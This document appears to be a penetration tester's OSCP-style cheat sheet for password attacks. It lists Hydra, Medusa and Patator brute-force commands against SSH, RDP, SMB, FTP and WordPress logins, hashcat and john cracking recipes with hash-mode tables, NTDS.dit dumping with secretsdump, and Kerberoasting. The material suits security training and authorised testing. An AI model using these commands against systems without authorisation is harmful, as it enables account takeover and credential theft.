Password cracking

https://github.com/frizb/

An amazing index of brute-force commands

https://book.hacktricks.xyz/brute-force

Username list

Before you brute force. Ask yourself: have you found a user list on the website? If so look through it for stand out names like dev, test, admin. These might be concealed in the big username list you found. Trust me, scan through the list. Also sort for unique names - save you brute forcing the same name. Lesson learned on PG! ....*cough Interface*

Hydra

Command

Description

hydra -P password-file.txt -v $ip snmp

Hydra brute force against SNMP

hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp

Hydra FTP known user and rockyou password list

hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

Hydra SSH using list of users and passwords

hydra -v -V -u -L users.txt -p "" -t 1 -u $ip ssh

Hydra SSH using a known password and a username list

hydra $ip -s 22 ssh -l -P big_wordlist.txt

Hydra SSH Against Known username on port 22

hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

Hydra POP3 Brute Force

hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

Hydra SMTP Brute Force

hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

Hydra attack http get 401 login with a dictionary

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

Hydra attack Windows Remote Desktop with rockyou

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb

Hydra brute force SMB user with rockyou:

hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Hydra brute force a Wordpress admin login

hydra -vV -L unique -p wedontcare $ip http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

Hydra brute force a username

wpscan --url http://192.168.1.122 -U Elliot -P fsocity.dic.unique

Use wpscan to bruteforce password

patator http_fuzz url=http://$ip/login method=POST body='username=FILE0&password=FILE1' 0=allusers.txt 1=$ROCKYOU -x ignore:fgrep=Unauthorized

fast webform bruteforce

The POST request contained json{"username":"aaa","password":"bbbb"}. Patator didn't like it so I had to change it to 'username=FILE0&password=FILE1' see above

SQL bruteforce root password remotely

medusa -h $ip -M mysql -u root -P /usr/share/wordlists/rockyou.txt -t 40

Hashes

MD5 32 hex characters.
SHA-1 40 hex characters.
SHA-256 64 hex characters.
SHA-512 128 hex characters.
Find the type of hash:
```
hash-identifier
```
Find hash type at https://hashkiller.co.uk
Running john will tell you the hash type even if you don't want to crack it:
```
john hashes.txt
```
Paste the entire /etc/shadow in file and run
```
john hashes.txt
```
Paste the entire /etc/shadow in file and run
```
john hashes.txt
```

GPU cracking:

hashcat -m 500 -a 0 -o output.txt -remove hashes.txt /usr/share/wordlists/rockyou.txt

CPU cracking:

john --wordlist=/usr/share/wordlists/rockyou.txt 127.0.0.1.pwdump

Cracking /etc/shadow:

unshadow password.txt shadow.txt > unshadowed.txt; john --wordlist=<any word list> unshadowed.txt

Generating wordlists

crunch 6 6 0123456789ABCDEF 5o crunch1.txt

Online rainbow tables:

https://crackstation.net/
http://www.cmd5.org/
https://hashkiller.co.uk/md5-decrypter.aspx
https://www.onlinehashcrack.com/
http://rainbowtables.it64.com/
http://www.md5online.org/

Hashcat-Cheatsheet

Hashcat Cheatsheet for OSCP https://hashcat.net/wiki/doku.php?id=hashcat

Identify Hashes

hash-identifier

Example Hashes: https://hashcat.net/wiki/doku.php?id=example_hashes

MAX POWER!

I have found that I can squeeze some more power out of my hash cracking by adding these parameters:

--force -O -w 4 --opencl-device-types 1,2

These will force Hashcat to use the CUDA GPU interface which is buggy but provides more performance (–force) , will Optimize for 32 characters or less passwords (-O) and will set the workload to "Insane" (-w 4) which is supposed to make your computer effectively unusable during the cracking process. Finally "--opencl-device-types 1,2 " will force HashCat to use BOTH the GPU and the CPU to handle the cracking.

Using hashcat and a dictionary

Create a .hash file with all the hashes you want to crack puthasheshere.hash: $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

Hashcat example cracking Linux md5crypt passwords $1$ using rockyou:

hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt

Hashcat example cracking Wordpress passwords using rockyou: hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt

Sample Hashes http://openwall.info/wiki/john/sample-hashes

HashCat One Rule to Rule them All

Not So Secure has built a custom rule that I have had luck with in the past: https://www.notsosecure.com/one-rule-to-rule-them-all/ The rule can be downloaded from their Github site: https://github.com/NotSoSecure/password_cracking_rules

I typically drop OneRuleToRuleThemAll.rule into the rules subfolder and run it like this from my windows box (based on the notsosecure article):

hashcat64.exe --force -m300 --status -w3 -o found.txt --remove --potfile-disable -r rules\OneRuleToRuleThemAll.rule hash.txt rockyou.txt

Using hashcat bruteforcing

predefined charsets
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff

?l?d?u is the same as: ?ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789

Brute force all passwords length 1-8 with possible characters A-Z a-z 0-9 hashcat64 -m 500 hashes.txt -a 3 ?1?1?1?1?1?1?1?1 --increment -1 ?l?d?u

Cracking Linux Hashes - /etc/shadow file

Description

Type

500

md5crypt $1$, MD5(Unix)

Operating-Systems

200

bcrypt $2*$, Blowfish(Unix)

Operating-Systems

400

sha256crypt $5$, SHA256(Unix)

Operating-Systems

1800

sha512crypt $6$, SHA512(Unix)

Operating-Systems

Cracking Windows Hashes

Description

Type

3000

Operating-Systems

1000

NTLM

Operating-Systems

Cracking Common Application Hashes

Description

Type

900

MD4

Raw Hash

MD5

Raw Hash

5100

Half MD5

Raw Hash

100

SHA1

Raw Hash

10800

SHA-384

Raw Hash

1400

SHA-256

Raw Hash

1700

SHA-512

Raw Hash

Cracking Common File Password Protections

Description

Type

11600

7-Zip

Archives

12500

RAR3-hp

Archives

13000

RAR5

Archives

13200

AxCrypt

Archives

13300

AxCrypt in-memory SHA1

Archives

13600

WinZip

Archives

9700

MS Office <= 2003 $0/$1, MD5 + RC4

Documents

9710

MS Office <= 2003 $0/$1, MD5 + RC4, collider #1

Documents

9720

MS Office <= 2003 $0/$1, MD5 + RC4, collider #2

Documents

9800

MS Office <= 2003 $3/$4, SHA1 + RC4

Documents

9810

MS Office <= 2003 $3, SHA1 + RC4, collider #1

Documents

9820

MS Office <= 2003 $3, SHA1 + RC4, collider #2

Documents

9400

MS Office 2007

Documents

9500

MS Office 2010

Documents

9600

MS Office 2013

Documents

10400

PDF 1.1 - 1.3 (Acrobat 2 - 4)

Documents

10410

PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1

Documents

10420

PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2

Documents

10500

PDF 1.4 - 1.6 (Acrobat 5 - 8)

Documents

10600

PDF 1.7 Level 3 (Acrobat 9)

Documents

10700

PDF 1.7 Level 8 (Acrobat 10 - 11)

Documents

16200

Apple Secure Notes

Documents

Cracking Commmon Database Hash Formats

Description

Type

Example Hash

PostgreSQL

Database Server

a6343a68d964ca596d9752250d54bb8a:postgres

131

MSSQL (2000)

Database Server

0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578

132

MSSQL (2005)

Database Server

0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe

1731

MSSQL (2012, 2014)

Database Server

0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375

200

MySQL323

Database Server

7196759210defdc0

300

MySQL4.1/MySQL5

Database Server

fcf7c1b8749cf99d88e5f34271d636178fb5d130

3100

Oracle H: Type (Oracle 7+)

Database Server

7A963A529D2E3229:3682427524

112

Oracle S: Type (Oracle 11+)

Database Server

ac5f1e62d21fd0529428b84d42e8955b04966703:38445748184477378130

12300

Oracle T: Type (Oracle 12+)

Database Server

78281A9C0CF626BD05EFC4F41B515B61D6C4D95A250CD4A605CA0EF97168D670EBCB5673B6F5A2FB9CC4E0C0101E659C0C4E3B9B3BEDA846CD15508E88685A2334141655046766111066420254008225

8000

Sybase ASE

Database Server

0xc00778168388631428230545ed2c976790af96768afa0806fe6c0da3b28f3e132137eac56f9bad027ea2

Cracking NTLM hashes

After grabbing or dumping the NTDS.dit and SYSTEM registry hive or dumping LSASS memory from a Windows box, you will often end up with NTLM hashes.

Path

Description

C:\Windows\NTDS\ntds.dit

Active Directory database

C:\Windows\System32\config\SYSTEM

Registry hive containing the key used to encrypt hashes

And using Impacket to dump the hashes

impacket-secretsdump -system SYSTEM -ntds ntds.dit -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

You can crack the NTLM hash dump usign the following hashcat syntax:

hashcat64 -m 1000 -a 0 -w 4 --force --opencl-device-types 1,2 -O d:\hashsample.hash "d:\WORDLISTS\realuniq.lst" -r OneRuleToRuleThemAll.rule

Benchmark using a Nvidia 2060 GTX: Speed: 7000 MH/s Recovery Rate: 12.47% Elapsed Time: 2 Hours 35 Minutes

Cracking Hashes from Kerboroasting - KRB5TGS

A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have the account name. KRB5TGS - Kerberoasting Service Accounts that use SPN Once you have identified a Kerberoastable service account (Bloodhound? Powershell Empire? - likely a MS SQL Server Service Account), any AD user can request a krb5tgs hash from it which can be used to crack the password.

Based on my benchmarking, KRB5TGS cracking is 28 times slower than NTLM.

Hashcat supports multiple versions of the KRB5TGS hash which can easily be identified by the number between the dollar signs in the hash itself.

13100 - Type 23 - $krb5tgs$23$
19600 - Type 17 - $krb5tgs$17$
19700 - Type 18 - $krb5tgs$18$

KRB5TGS Type 23 - Crackstation humans only word list with OneRuleToRuleThemAll mutations rule list.

hashcat64 -m 13100 -a 0 -w 4 --force --opencl-device-types 1,2 -O d:\krb5tgs.hash d:\WORDLISTS\realhuman_phill.txt -r OneRuleToRuleThemAll.rule

Benchmark using a Nvidia 2060 GTX: Speed: 250 MH/s Elapsed Time: 9 Minutes

To crack linux hashes you must first unshadow them

unshadow passwd-file.txt shadow-file.txt

unshadow passwd-file.txt shadow-file.txt > unshadowed.txt

Crack a zip password

zip2john Zipfile.zip | cut -d ':' -f 2 > hashes.txt hashcat -a 0 -m 13600 hashes.txt /usr/share/wordlists/rockyou.txt

Hashcat appears to have issues with some zip hash formats generated from zip2john. You can fix this by editing the zip hash contents to align with the example zip hash format found on the hash cat example page: $zip2$*0*3*0*b5d2b7bf57ad5e86a55c400509c672bd*d218*0**ca3d736d03a34165cfa9*$/zip2$

John seems to accept a wider range of zip formats for cracking.

Last updated 3 years ago